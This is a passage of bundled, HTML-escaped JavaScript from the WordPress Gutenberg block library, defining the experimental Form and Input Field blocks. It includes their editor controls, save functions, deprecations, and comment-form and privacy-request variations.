      submissionMethod !== &quot;email&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime242.jsxs)(import_block_editor82.InspectorControls, { group: &quot;advanced&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
          import_components43.SelectControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n67.__)(&quot;Method&quot;),
            options: [
              { label: &quot;Get&quot;, value: &quot;get&quot; },
              { label: &quot;Post&quot;, value: &quot;post&quot; }
            ],
            value: method,
            onChange: (value) =&gt; setAttributes({ method: value }),
            help: (0, import_i18n67.__)(
              &quot;Select the method to use for form submissions.&quot;
            )
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
          import_components43.TextControl,
          {
            __next40pxDefaultSize: true,
            autoComplete: &quot;off&quot;,
            label: (0, import_i18n67.__)(&quot;Form action&quot;),
            value: action,
            onChange: (newVal) =&gt; {
              setAttributes({
                action: newVal
              });
            },
            help: (0, import_i18n67.__)(
              &quot;The URL where the form should be submitted.&quot;
            ),
            type: &quot;url&quot;
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime242.jsx)(
        &quot;form&quot;,
        {
          ...innerBlocksProps,
          encType: submissionMethod === &quot;email&quot; ? &quot;text/plain&quot; : null
        }
      )
    ] });
  };
  var edit_default11 = Edit13;

  // packages/block-library/build-module/form/block.json
  var block_default34 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/form&quot;,
    title: &quot;Form&quot;,
    category: &quot;common&quot;,
    allowedBlocks: [
      &quot;core/paragraph&quot;,
      &quot;core/heading&quot;,
      &quot;core/form-input&quot;,
      &quot;core/form-submit-button&quot;,
      &quot;core/form-submission-notification&quot;,
      &quot;core/group&quot;,
      &quot;core/columns&quot;
    ],
    description: &quot;A form.&quot;,
    keywords: [&quot;container&quot;, &quot;wrapper&quot;, &quot;row&quot;, &quot;section&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      submissionMethod: {
        type: &quot;string&quot;,
        default: &quot;email&quot;
      },
      method: {
        type: &quot;string&quot;,
        default: &quot;post&quot;
      },
      action: {
        type: &quot;string&quot;
      },
      email: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    }
  };

  // packages/block-library/build-module/form/save.mjs
  var import_block_editor83 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime243 = __toESM(require_jsx_runtime(), 1);
  function save18({ attributes: attributes2 }) {
    const blockProps = import_block_editor83.useBlockProps.save();
    const { submissionMethod } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(
      &quot;form&quot;,
      {
        ...blockProps,
        encType: submissionMethod === &quot;email&quot; ? &quot;text/plain&quot; : null,
        children: /* @__PURE__ */ (0, import_jsx_runtime243.jsx)(import_block_editor83.InnerBlocks.Content, {})
      }
    );
  }

  // packages/block-library/build-module/form/variations.mjs
  var import_i18n68 = __toESM(require_i18n(), 1);
  var variations5 = [
    {
      name: &quot;comment-form&quot;,
      title: (0, import_i18n68.__)(&quot;Experimental Comment form&quot;),
      description: (0, import_i18n68.__)(&quot;A comment form for posts and pages.&quot;),
      attributes: {
        submissionMethod: &quot;custom&quot;,
        action: &quot;{SITE_URL}/wp-comments-post.php&quot;,
        method: &quot;post&quot;,
        anchor: &quot;comment-form&quot;
      },
      isDefault: false,
      innerBlocks: [
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;text&quot;,
            name: &quot;author&quot;,
            label: (0, import_i18n68.__)(&quot;Name&quot;),
            required: true,
            visibilityPermissions: &quot;logged-out&quot;
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;email&quot;,
            name: &quot;email&quot;,
            label: (0, import_i18n68.__)(&quot;Email&quot;),
            required: true,
            visibilityPermissions: &quot;logged-out&quot;
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;textarea&quot;,
            name: &quot;comment&quot;,
            label: (0, import_i18n68.__)(&quot;Comment&quot;),
            required: true,
            visibilityPermissions: &quot;all&quot;
          }
        ],
        [&quot;core/form-submit-button&quot;, {}]
      ],
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; !blockAttributes8?.type || blockAttributes8?.type === &quot;text&quot;
    },
    {
      name: &quot;wp-privacy-form&quot;,
      title: (0, import_i18n68.__)(&quot;Experimental Privacy Request Form&quot;),
      keywords: [&quot;GDPR&quot;],
      description: (0, import_i18n68.__)(&quot;A form to request data exports and/or deletion.&quot;),
      attributes: {
        submissionMethod: &quot;custom&quot;,
        action: &quot;&quot;,
        method: &quot;post&quot;,
        anchor: &quot;gdpr-form&quot;
      },
      isDefault: false,
      innerBlocks: [
        formSubmissionNotificationSuccess,
        formSubmissionNotificationError,
        [
          &quot;core/paragraph&quot;,
          {
            content: (0, import_i18n68.__)(
              &quot;To request an export or deletion of your personal data on this site, please fill-in the form below. You can define the type of request you wish to perform, and your email address. Once the form is submitted, you will receive a confirmation email with instructions on the next steps.&quot;
            )
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;email&quot;,
            name: &quot;email&quot;,
            label: (0, import_i18n68.__)(&quot;Enter your email address.&quot;),
            required: true,
            visibilityPermissions: &quot;all&quot;
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;checkbox&quot;,
            name: &quot;export_personal_data&quot;,
            label: (0, import_i18n68.__)(&quot;Request data export&quot;),
            required: false,
            visibilityPermissions: &quot;all&quot;
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;checkbox&quot;,
            name: &quot;remove_personal_data&quot;,
            label: (0, import_i18n68.__)(&quot;Request data deletion&quot;),
            required: false,
            visibilityPermissions: &quot;all&quot;
          }
        ],
        [&quot;core/form-submit-button&quot;, {}],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;hidden&quot;,
            name: &quot;wp-action&quot;,
            value: &quot;wp_privacy_send_request&quot;
          }
        ],
        [
          &quot;core/form-input&quot;,
          {
            type: &quot;hidden&quot;,
            name: &quot;wp-privacy-request&quot;,
            value: &quot;1&quot;
          }
        ]
      ],
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; !blockAttributes8?.type || blockAttributes8?.type === &quot;text&quot;
    }
  ];
  var variations_default5 = variations5;

  // packages/block-library/build-module/form/deprecated.mjs
  var import_block_editor84 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime244 = __toESM(require_jsx_runtime(), 1);
  var v115 = {
    // The block supports here are deliberately empty despite this
    // deprecated version of the block having adopted block supports.
    // The attributes added by these supports have been manually
    // added to this deprecated version&#039;s attributes definition so
    // that the data isn&#039;t lost on migration. All this is so that the
    // automatic application of block support classes doesn&#039;t occur
    // as this version of the block had a bug that overrode those
    // classes. If those block support classes are applied during the
    // deprecation process, this deprecation doesn&#039;t match and won&#039;t
    // run.
    // @see https://github.com/WordPress/gutenberg/pull/55755
    supports: {},
    attributes: {
      submissionMethod: {
        type: &quot;string&quot;,
        default: &quot;email&quot;
      },
      method: {
        type: &quot;string&quot;,
        default: &quot;post&quot;
      },
      action: {
        type: &quot;string&quot;
      },
      email: {
        type: &quot;string&quot;
      },
      // The following attributes have been added to match the block
      // supports at the time of the deprecation. See above for details.
      anchor: {
        type: &quot;string&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;id&quot;,
        selector: &quot;*&quot;
      },
      backgroundColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      },
      gradient: {
        type: &quot;string&quot;
      },
      style: {
        type: &quot;object&quot;
      },
      fontFamily: {
        type: &quot;string&quot;
      },
      fontSize: {
        type: &quot;string&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { submissionMethod } = attributes2;
      const colorProps = (0, import_block_editor84.__experimentalGetColorClassesAndStyles)(attributes2);
      const typographyProps = (0, import_block_editor84.getTypographyClassesAndStyles)(attributes2);
      const spacingProps = (0, import_block_editor84.__experimentalGetSpacingClassesAndStyles)(attributes2);
      const blockProps = import_block_editor84.useBlockProps.save({
        // In this deprecated version, the block support is deliberately empty.
        // As a result, the useBlockProps.save() does not output style or id attributes,
        // so we apply them explicitly here.
        style: {
          ...colorProps.style,
          ...typographyProps.style,
          ...spacingProps.style
        },
        id: attributes2.anchor
      });
      return /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(
        &quot;form&quot;,
        {
          ...blockProps,
          className: &quot;wp-block-form&quot;,
          encType: submissionMethod === &quot;email&quot; ? &quot;text/plain&quot; : null,
          children: /* @__PURE__ */ (0, import_jsx_runtime244.jsx)(import_block_editor84.InnerBlocks.Content, {})
        }
      );
    }
  };
  var deprecated_default17 = [v115];

  // packages/block-library/build-module/form/icons.mjs
  var import_primitives157 = __toESM(require_primitives(), 1);
  var import_jsx_runtime245 = __toESM(require_jsx_runtime(), 1);
  var icon = /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(import_primitives157.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime245.jsx)(import_primitives157.Path, { d: &quot;M18 16H6c-1.1 0-2 .9-2 2s.9 2 2 2h12c1.1 0 2-.9 2-2s-.9-2-2-2Zm0 2.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5h12c.3 0 .5.2.5.5s-.2.5-.5.5ZM13 13H4v1.5h9V13Zm-7-2h12c1.1 0 2-.9 2-2s-.9-2-2-2H6c-1.1 0-2 .9-2 2s.9 2 2 2Zm0-2.5h12c.3 0 .5.2.5.5s-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5s.2-.5.5-.5ZM13 4H4v1.5h9V4Z&quot; }) });

  // packages/block-library/build-module/form/index.mjs
  var { name: name34 } = block_default34;
  var settings34 = {
    icon,
    edit: edit_default11,
    save: save18,
    deprecated: deprecated_default17,
    variations: variations_default5,
    example: {}
  };
  var init34 = () =&gt; {
    const DISALLOWED_PARENTS = [&quot;core/form&quot;];
    (0, import_hooks26.addFilter)(
      &quot;blockEditor.__unstableCanInsertBlockType&quot;,
      &quot;core/block-library/preventInsertingFormIntoAnotherForm&quot;,
      (canInsert, blockType, rootClientId, { getBlock, getBlockParentsByBlockName }) =&gt; {
        if (blockType.name !== &quot;core/form&quot;) {
          return canInsert;
        }
        for (const disallowedParentType of DISALLOWED_PARENTS) {
          const hasDisallowedParent = getBlock(rootClientId)?.name === disallowedParentType || getBlockParentsByBlockName(
            rootClientId,
            disallowedParentType
          ).length;
          if (hasDisallowedParent) {
            return false;
          }
        }
        return true;
      }
    );
    return initBlock({ name: name34, metadata: block_default34, settings: settings34 });
  };

  // packages/block-library/build-module/form-input/index.mjs
  var form_input_exports = {};
  __export(form_input_exports, {
    init: () =&gt; init35,
    metadata: () =&gt; block_default35,
    name: () =&gt; name35,
    settings: () =&gt; settings35
  });

  // packages/block-library/build-module/form-input/deprecated.mjs
  var import_remove_accents = __toESM(require_remove_accents(), 1);
  var import_block_editor85 = __toESM(require_block_editor(), 1);
  var import_dom2 = __toESM(require_dom(), 1);
  var import_jsx_runtime246 = __toESM(require_jsx_runtime(), 1);
  var getNameFromLabelV1 = (content) =&gt; {
    return (0, import_remove_accents.default)((0, import_dom2.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, &quot;-&quot;).toLowerCase().replace(/(^-+)|(-+$)/g, &quot;&quot;);
  };
  var v27 = {
    attributes: {
      type: {
        type: &quot;string&quot;,
        default: &quot;text&quot;
      },
      name: {
        type: &quot;string&quot;
      },
      label: {
        type: &quot;string&quot;,
        default: &quot;Label&quot;,
        selector: &quot;.wp-block-form-input__label-content&quot;,
        source: &quot;html&quot;,
        role: &quot;content&quot;
      },
      inlineLabel: {
        type: &quot;boolean&quot;,
        default: false
      },
      required: {
        type: &quot;boolean&quot;,
        default: false,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;required&quot;
      },
      placeholder: {
        type: &quot;string&quot;,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;placeholder&quot;,
        role: &quot;content&quot;
      },
      value: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        selector: &quot;input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;value&quot;
      },
      visibilityPermissions: {
        type: &quot;string&quot;,
        default: &quot;all&quot;
      }
    },
    supports: {
      anchor: true,
      reusable: false,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
      const borderProps = (0, import_block_editor85.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor85.__experimentalGetColorClassesAndStyles)(attributes2);
      const inputStyle = {
        ...borderProps.style,
        ...colorProps.style
      };
      const inputClasses = clsx_default(
        &quot;wp-block-form-input__input&quot;,
        colorProps.className,
        borderProps.className
      );
      const TagName2 = type === &quot;textarea&quot; ? &quot;textarea&quot; : &quot;input&quot;;
      const blockProps = import_block_editor85.useBlockProps.save();
      if (&quot;hidden&quot; === type) {
        return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(&quot;input&quot;, { type, name: name123, value });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)(
        &quot;label&quot;,
        {
          className: clsx_default(&quot;wp-block-form-input__label&quot;, {
            &quot;is-label-inline&quot;: inlineLabel
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(&quot;span&quot;, { className: &quot;wp-block-form-input__label-content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_block_editor85.RichText.Content, { value: label }) }),
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
              TagName2,
              {
                className: inputClasses,
                type: &quot;textarea&quot; === type ? void 0 : type,
                name: name123 || getNameFromLabelV1(label),
                required,
                &quot;aria-required&quot;: required,
                placeholder: placeholder2 || void 0,
                style: inputStyle
              }
            )
          ]
        }
      ) });
    }
  };
  var v116 = {
    attributes: {
      type: {
        type: &quot;string&quot;,
        default: &quot;text&quot;
      },
      name: {
        type: &quot;string&quot;
      },
      label: {
        type: &quot;string&quot;,
        default: &quot;Label&quot;,
        selector: &quot;.wp-block-form-input__label-content&quot;,
        source: &quot;html&quot;,
        role: &quot;content&quot;
      },
      inlineLabel: {
        type: &quot;boolean&quot;,
        default: false
      },
      required: {
        type: &quot;boolean&quot;,
        default: false,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;required&quot;
      },
      placeholder: {
        type: &quot;string&quot;,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;placeholder&quot;,
        role: &quot;content&quot;
      },
      value: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        selector: &quot;input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;value&quot;
      },
      visibilityPermissions: {
        type: &quot;string&quot;,
        default: &quot;all&quot;
      }
    },
    supports: {
      className: false,
      anchor: true,
      reusable: false,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
      const borderProps = (0, import_block_editor85.__experimentalGetBorderClassesAndStyles)(attributes2);
      const colorProps = (0, import_block_editor85.__experimentalGetColorClassesAndStyles)(attributes2);
      const inputStyle = {
        ...borderProps.style,
        ...colorProps.style
      };
      const inputClasses = clsx_default(
        &quot;wp-block-form-input__input&quot;,
        colorProps.className,
        borderProps.className
      );
      const TagName2 = type === &quot;textarea&quot; ? &quot;textarea&quot; : &quot;input&quot;;
      if (&quot;hidden&quot; === type) {
        return /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(&quot;input&quot;, { type, name: name123, value });
      }
      return /* @__PURE__ */ (0, import_jsx_runtime246.jsxs)(
        &quot;label&quot;,
        {
          className: clsx_default(&quot;wp-block-form-input__label&quot;, {
            &quot;is-label-inline&quot;: inlineLabel
          }),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(&quot;span&quot;, { className: &quot;wp-block-form-input__label-content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(import_block_editor85.RichText.Content, { value: label }) }),
            /* @__PURE__ */ (0, import_jsx_runtime246.jsx)(
              TagName2,
              {
                className: inputClasses,
                type: &quot;textarea&quot; === type ? void 0 : type,
                name: name123 || getNameFromLabelV1(label),
                required,
                &quot;aria-required&quot;: required,
                placeholder: placeholder2 || void 0,
                style: inputStyle
              }
            )
          ]
        }
      );
    }
  };
  var deprecated7 = [v27, v116];
  var deprecated_default18 = deprecated7;

  // packages/block-library/build-module/form-input/edit.mjs
  var import_i18n69 = __toESM(require_i18n(), 1);
  var import_block_editor86 = __toESM(require_block_editor(), 1);
  var import_components44 = __toESM(require_components(), 1);
  var import_element30 = __toESM(require_element(), 1);
  var import_jsx_runtime247 = __toESM(require_jsx_runtime(), 1);
  function InputFieldBlock({ attributes: attributes2, setAttributes, className }) {
    const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
    const blockProps = (0, import_block_editor86.useBlockProps)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const ref = (0, import_element30.useRef)();
    const TagName2 = type === &quot;textarea&quot; ? &quot;textarea&quot; : &quot;input&quot;;
    const borderProps = (0, import_block_editor86.__experimentalUseBorderProps)(attributes2);
    const colorProps = (0, import_block_editor86.__experimentalUseColorProps)(attributes2);
    if (ref.current) {
      ref.current.focus();
    }
    const isCheckboxOrRadio = type === &quot;checkbox&quot; || type === &quot;radio&quot;;
    const controls = /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(import_jsx_runtime247.Fragment, { children: [
      &quot;hidden&quot; !== type &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(import_block_editor86.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(
        import_components44.__experimentalToolsPanel,
        {
          label: (0, import_i18n69.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              inlineLabel: false,
              required: false
            });
          },
          dropdownMenuProps,
          children: [
            &quot;checkbox&quot; !== type &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              import_components44.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n69.__)(&quot;Inline label&quot;),
                hasValue: () =&gt; !!inlineLabel,
                onDeselect: () =&gt; setAttributes({ inlineLabel: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
                  import_components44.CheckboxControl,
                  {
                    label: (0, import_i18n69.__)(&quot;Inline label&quot;),
                    checked: inlineLabel,
                    onChange: (newVal) =&gt; {
                      setAttributes({
                        inlineLabel: newVal
                      });
                    }
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              import_components44.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n69.__)(&quot;Required&quot;),
                hasValue: () =&gt; !!required,
                onDeselect: () =&gt; setAttributes({ required: false }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
                  import_components44.CheckboxControl,
                  {
                    label: (0, import_i18n69.__)(&quot;Required&quot;),
                    checked: required,
                    onChange: (newVal) =&gt; {
                      setAttributes({
                        required: newVal
                      });
                    }
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(import_block_editor86.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
        import_components44.TextControl,
        {
          __next40pxDefaultSize: true,
          autoComplete: &quot;off&quot;,
          label: (0, import_i18n69.__)(&quot;Name&quot;),
          value: name123,
          onChange: (newVal) =&gt; {
            setAttributes({
              name: newVal
            });
          },
          help: (0, import_i18n69.__)(
            &#039;Affects the &quot;name&quot; attribute of the input element, and is used as a name for the form submission results.&#039;
          )
        }
      ) })
    ] });
    const content = /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
      import_block_editor86.RichText,
      {
        tagName: &quot;span&quot;,
        className: &quot;wp-block-form-input__label-content&quot;,
        value: label,
        onChange: (newLabel) =&gt; setAttributes({ label: newLabel }),
        &quot;aria-label&quot;: label ? (0, import_i18n69.__)(&quot;Label&quot;) : (0, import_i18n69.__)(&quot;Empty label&quot;),
        &quot;data-empty&quot;: !label,
        placeholder: (0, import_i18n69.__)(&quot;Type the label for this input&quot;)
      }
    );
    if (&quot;hidden&quot; === type) {
      return /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(import_jsx_runtime247.Fragment, { children: [
        controls,
        /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
          &quot;input&quot;,
          {
            type: &quot;hidden&quot;,
            className: clsx_default(
              className,
              &quot;wp-block-form-input__input&quot;,
              colorProps.className,
              borderProps.className
            ),
            &quot;aria-label&quot;: (0, import_i18n69.__)(&quot;Value&quot;),
            value,
            onChange: (event) =&gt; setAttributes({ value: event.target.value })
          }
        )
      ] });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      controls,
      /* @__PURE__ */ (0, import_jsx_runtime247.jsxs)(
        &quot;span&quot;,
        {
          className: clsx_default(&quot;wp-block-form-input__label&quot;, {
            &quot;is-label-inline&quot;: inlineLabel || &quot;checkbox&quot; === type
          }),
          children: [
            !isCheckboxOrRadio &amp;&amp; content,
            /* @__PURE__ */ (0, import_jsx_runtime247.jsx)(
              TagName2,
              {
                type: &quot;textarea&quot; === type ? void 0 : type,
                className: clsx_default(
                  className,
                  &quot;wp-block-form-input__input&quot;,
                  colorProps.className,
                  borderProps.className
                ),
                &quot;aria-label&quot;: (0, import_i18n69.__)(&quot;Optional placeholder text&quot;),
                placeholder: placeholder2 ? void 0 : (0, import_i18n69.__)(&quot;Optional placeholder\u2026&quot;),
                value: placeholder2,
                onChange: (event) =&gt; setAttributes({ placeholder: event.target.value }),
                &quot;aria-required&quot;: required,
                style: {
                  ...borderProps.style,
                  ...colorProps.style
                }
              }
            ),
            isCheckboxOrRadio &amp;&amp; content
          ]
        }
      )
    ] });
  }
  var edit_default12 = InputFieldBlock;

  // packages/block-library/build-module/form-input/block.json
  var block_default35 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: true,
    name: &quot;core/form-input&quot;,
    title: &quot;Input Field&quot;,
    category: &quot;common&quot;,
    ancestor: [&quot;core/form&quot;],
    description: &quot;The basic building block for forms.&quot;,
    keywords: [&quot;input&quot;, &quot;form&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      type: {
        type: &quot;string&quot;,
        default: &quot;text&quot;
      },
      name: {
        type: &quot;string&quot;
      },
      label: {
        type: &quot;rich-text&quot;,
        default: &quot;Label&quot;,
        selector: &quot;.wp-block-form-input__label-content&quot;,
        source: &quot;rich-text&quot;,
        role: &quot;content&quot;
      },
      inlineLabel: {
        type: &quot;boolean&quot;,
        default: false
      },
      required: {
        type: &quot;boolean&quot;,
        default: false,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;required&quot;
      },
      placeholder: {
        type: &quot;string&quot;,
        selector: &quot;.wp-block-form-input__input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;placeholder&quot;,
        role: &quot;content&quot;
      },
      value: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        selector: &quot;input&quot;,
        source: &quot;attribute&quot;,
        attribute: &quot;value&quot;
      },
      visibilityPermissions: {
        type: &quot;string&quot;,
        default: &quot;all&quot;
      }
    },
    supports: {
      anchor: true,
      reusable: false,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;]
      },
      __experimentalBorder: {
        radius: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          radius: true
        }
      }
    },
    style: [&quot;wp-block-form-input&quot;]
  };

  // packages/block-library/build-module/form-input/save.mjs
  var import_remove_accents2 = __toESM(require_remove_accents(), 1);
  var import_block_editor87 = __toESM(require_block_editor(), 1);
  var import_dom3 = __toESM(require_dom(), 1);
  var import_jsx_runtime248 = __toESM(require_jsx_runtime(), 1);
  var getNameFromLabel = (content) =&gt; {
    return (0, import_remove_accents2.default)((0, import_dom3.__unstableStripHTML)(content)).replace(/[^\p{L}\p{N}]+/gu, &quot;-&quot;).toLowerCase().replace(/(^-+)|(-+$)/g, &quot;&quot;);
  };
  function save19({ attributes: attributes2 }) {
    const { type, name: name123, label, inlineLabel, required, placeholder: placeholder2, value } = attributes2;
    const borderProps = (0, import_block_editor87.__experimentalGetBorderClassesAndStyles)(attributes2);
    const colorProps = (0, import_block_editor87.__experimentalGetColorClassesAndStyles)(attributes2);
    const inputStyle = {
      ...borderProps.style,
      ...colorProps.style
    };
    const inputClasses = clsx_default(
      &quot;wp-block-form-input__input&quot;,
      colorProps.className,
      borderProps.className
    );
    const TagName2 = type === &quot;textarea&quot; ? &quot;textarea&quot; : &quot;input&quot;;
    const blockProps = import_block_editor87.useBlockProps.save();
    const isCheckboxOrRadio = type === &quot;checkbox&quot; || type === &quot;radio&quot;;
    if (&quot;hidden&quot; === type) {
      return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(&quot;input&quot;, { type, name: name123, value });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime248.jsxs)(
      &quot;label&quot;,
      {
        className: clsx_default(&quot;wp-block-form-input__label&quot;, {
          &quot;is-label-inline&quot;: inlineLabel
        }),
        children: [
          !isCheckboxOrRadio &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(&quot;span&quot;, { className: &quot;wp-block-form-input__label-content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_block_editor87.RichText.Content, { value: label }) }),
          /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(
            TagName2,
            {
              className: inputClasses,
              type: &quot;textarea&quot; === type ? void 0 : type,
              name: name123 || getNameFromLabel(label),
              required,
              &quot;aria-required&quot;: required,
              placeholder: placeholder2 || void 0,
              style: inputStyle
            }
          ),
          isCheckboxOrRadio &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(&quot;span&quot;, { className: &quot;wp-block-form-input__label-content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime248.jsx)(import_block_editor87.RichText.Content, { value: label }) })
        ]
      }
    ) });
  }

  // packages/block-library/build-module/form-input/variations.mjs
  var import_i18n70 = __toESM(require_i18n(), 1);
  var variations6 = [
    {
      name: &quot;text&quot;,
      title: (0, import_i18n70.__)(&quot;Text Input&quot;),
      description: (0, import_i18n70.__)(&quot;A generic text input.&quot;),
      attributes: { type: &quot;text&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; !blockAttributes8?.type || blockAttributes8?.type === &quot;text&quot;
    },
    {
      name: &quot;textarea&quot;,
      title: (0, import_i18n70.__)(&quot;Textarea Input&quot;),
      description: (0, import_i18n70.__)(
        &quot;A textarea input to allow entering multiple lines of text.&quot;
      ),
      attributes: { type: &quot;textarea&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;textarea&quot;
    },
    {
      name: &quot;checkbox&quot;,
      title: (0, import_i18n70.__)(&quot;Checkbox Input&quot;),
      description: (0, import_i18n70.__)(&quot;A simple checkbox input.&quot;),
      attributes: { type: &quot;checkbox&quot;, inlineLabel: true },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;checkbox&quot;
    },
    {
      name: &quot;email&quot;,
      title: (0, import_i18n70.__)(&quot;Email Input&quot;),
      description: (0, import_i18n70.__)(&quot;Used for email addresses.&quot;),
      attributes: { type: &quot;email&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;email&quot;
    },
    {
      name: &quot;url&quot;,
      title: (0, import_i18n70.__)(&quot;URL Input&quot;),
      description: (0, import_i18n70.__)(&quot;Used for URLs.&quot;),
      attributes: { type: &quot;url&quot; },
      isDefault: true,
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.type === &quot;url&quot;
    },
    {
      name: &quot;tel&quot;,
      title: (0, import_i18n70.__)(&quot;Telephone Input&quot;),
